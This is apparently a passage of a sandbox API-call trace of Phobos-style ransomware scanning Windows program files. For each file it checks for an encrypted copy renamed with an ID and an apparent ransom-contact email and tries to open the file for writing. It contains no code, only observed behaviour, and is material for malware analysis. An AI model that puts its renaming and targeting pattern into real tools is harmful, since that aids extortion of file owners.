(lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32res.dll" (normalized: "c:\\program files\\common files\\system\\wab32res.dll")) returned 0x20 [0125.095] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32res.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\wab32res.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.095] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32res.dll" (normalized: "c:\\program files\\common files\\system\\wab32res.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.095] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.095] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.107] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=2560) returned 1 [0125.107] CloseHandle (hObject=0x594) returned 1 [0125.107] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui")) returned 0x20 [0125.108] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.110] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.110] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.110] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ExtExport.exe" (normalized: "c:\\program files\\internet explorer\\extexport.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.114] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=53248) returned 1 [0125.114] CloseHandle (hObject=0x594) returned 1 [0125.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ExtExport.exe" (normalized: "c:\\program files\\internet explorer\\extexport.exe")) returned 0x20 [0125.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ExtExport.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\internet explorer\\extexport.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.114] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ExtExport.exe" (normalized: "c:\\program files\\internet explorer\\extexport.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.114] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.114] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\hmmapi.dll" (normalized: "c:\\program files\\internet explorer\\hmmapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.117] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=54272) returned 1 [0125.117] CloseHandle (hObject=0x594) returned 1 [0125.118] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\hmmapi.dll" (normalized: "c:\\program files\\internet explorer\\hmmapi.dll")) returned 0x20 [0125.118] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\hmmapi.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\internet explorer\\hmmapi.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.121] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\hmmapi.dll" (normalized: "c:\\program files\\internet explorer\\hmmapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.121] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.121] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ieinstal.exe" (normalized: "c:\\program files\\internet explorer\\ieinstal.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.124] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=501760) returned 1 [0125.124] CloseHandle (hObject=0x594) returned 1 [0125.124] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ieinstal.exe" (normalized: "c:\\program files\\internet explorer\\ieinstal.exe")) returned 0x20 [0125.124] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ieinstal.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\internet explorer\\ieinstal.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.124] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ieinstal.exe" (normalized: "c:\\program files\\internet explorer\\ieinstal.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.124] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.124] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ielowutil.exe" (normalized: "c:\\program files\\internet explorer\\ielowutil.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.130] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=224256) returned 1 [0125.130] CloseHandle (hObject=0x594) returned 1 [0125.130] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ielowutil.exe" (normalized: "c:\\program files\\internet explorer\\ielowutil.exe")) returned 0x20 [0125.130] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ielowutil.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\internet explorer\\ielowutil.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.133] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ielowutil.exe" (normalized: "c:\\program files\\internet explorer\\ielowutil.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.133] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.133] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\images\\bing.ico" (normalized: "c:\\program files\\internet explorer\\images\\bing.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.138] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=5430) returned 1 [0125.138] CloseHandle (hObject=0x594) returned 1 [0125.138] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\images\\bing.ico" (normalized: "c:\\program files\\internet explorer\\images\\bing.ico")) returned 0x20 [0125.138] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\images\\bing.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\internet explorer\\images\\bing.ico.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.138] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\images\\bing.ico" (normalized: "c:\\program files\\internet explorer\\images\\bing.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.138] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.139] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\sqmapi.dll" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.145] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=49688) returned 1 [0125.145] CloseHandle (hObject=0x594) returned 1 [0125.145] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\sqmapi.dll" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll")) returned 0x20 [0125.145] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\sqmapi.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.145] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\sqmapi.dll" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.145] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.145] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\venture_excellence.exe" (normalized: "c:\\program files\\internet explorer\\venture_excellence.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.147] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=75776) returned 1 [0125.147] CloseHandle (hObject=0x594) returned 1 [0125.147] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\venture_excellence.exe" (normalized: "c:\\program files\\internet explorer\\venture_excellence.exe")) returned 0x20 [0125.147] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\venture_excellence.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\internet explorer\\venture_excellence.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.147] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\venture_excellence.exe" (normalized: "c:\\program files\\internet explorer\\venture_excellence.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.147] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.147] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\wage.exe" (normalized: "c:\\program files\\internet explorer\\wage.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.148] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=75776) returned 1 [0125.148] CloseHandle (hObject=0x594) returned 1 [0125.148] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\wage.exe" (normalized: "c:\\program files\\internet explorer\\wage.exe")) returned 0x20 [0125.148] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\wage.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\internet explorer\\wage.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.149] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\wage.exe" (normalized: "c:\\program files\\internet explorer\\wage.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.149] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.149] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.150] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=1516608) returned 1 [0125.150] CloseHandle (hObject=0x594) returned 1 [0125.150] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll")) returned 0x20 [0125.150] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.150] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.150] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.150] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.277] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=16960) returned 1 [0125.277] CloseHandle (hObject=0x594) returned 1 [0125.277] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll")) returned 0x20 [0125.277] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.277] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.277] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.278] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.278] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=187392) returned 1 [0125.278] CloseHandle (hObject=0x594) returned 1 [0125.278] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl")) returned 0x20 [0125.278] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.278] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.278] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.278] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.278] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=80448) returned 1 [0125.278] CloseHandle (hObject=0x594) returned 1 [0125.278] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe")) returned 0x20 [0125.278] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.278] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.279] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.279] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.279] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=69184) returned 1 [0125.279] CloseHandle (hObject=0x594) returned 1 [0125.279] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll")) returned 0x20 [0125.279] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.279] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.280] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.280] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.280] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=538176) returned 1 [0125.280] CloseHandle (hObject=0x594) returned 1 [0125.280] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll")) returned 0x20 [0125.280] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.280] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.280] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.280] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.280] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=128064) returned 1 [0125.280] CloseHandle (hObject=0x594) returned 1 [0125.280] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll")) returned 0x20 [0125.281] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.281] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.281] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.281] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.281] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=206912) returned 1 [0125.281] CloseHandle (hObject=0x594) returned 1 [0125.281] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe")) returned 0x20 [0125.281] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.281] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.281] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.281] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.282] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=319552) returned 1 [0125.282] CloseHandle (hObject=0x594) returned 1 [0125.282] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe")) returned 0x20 [0125.282] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.282] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe" (normalized: 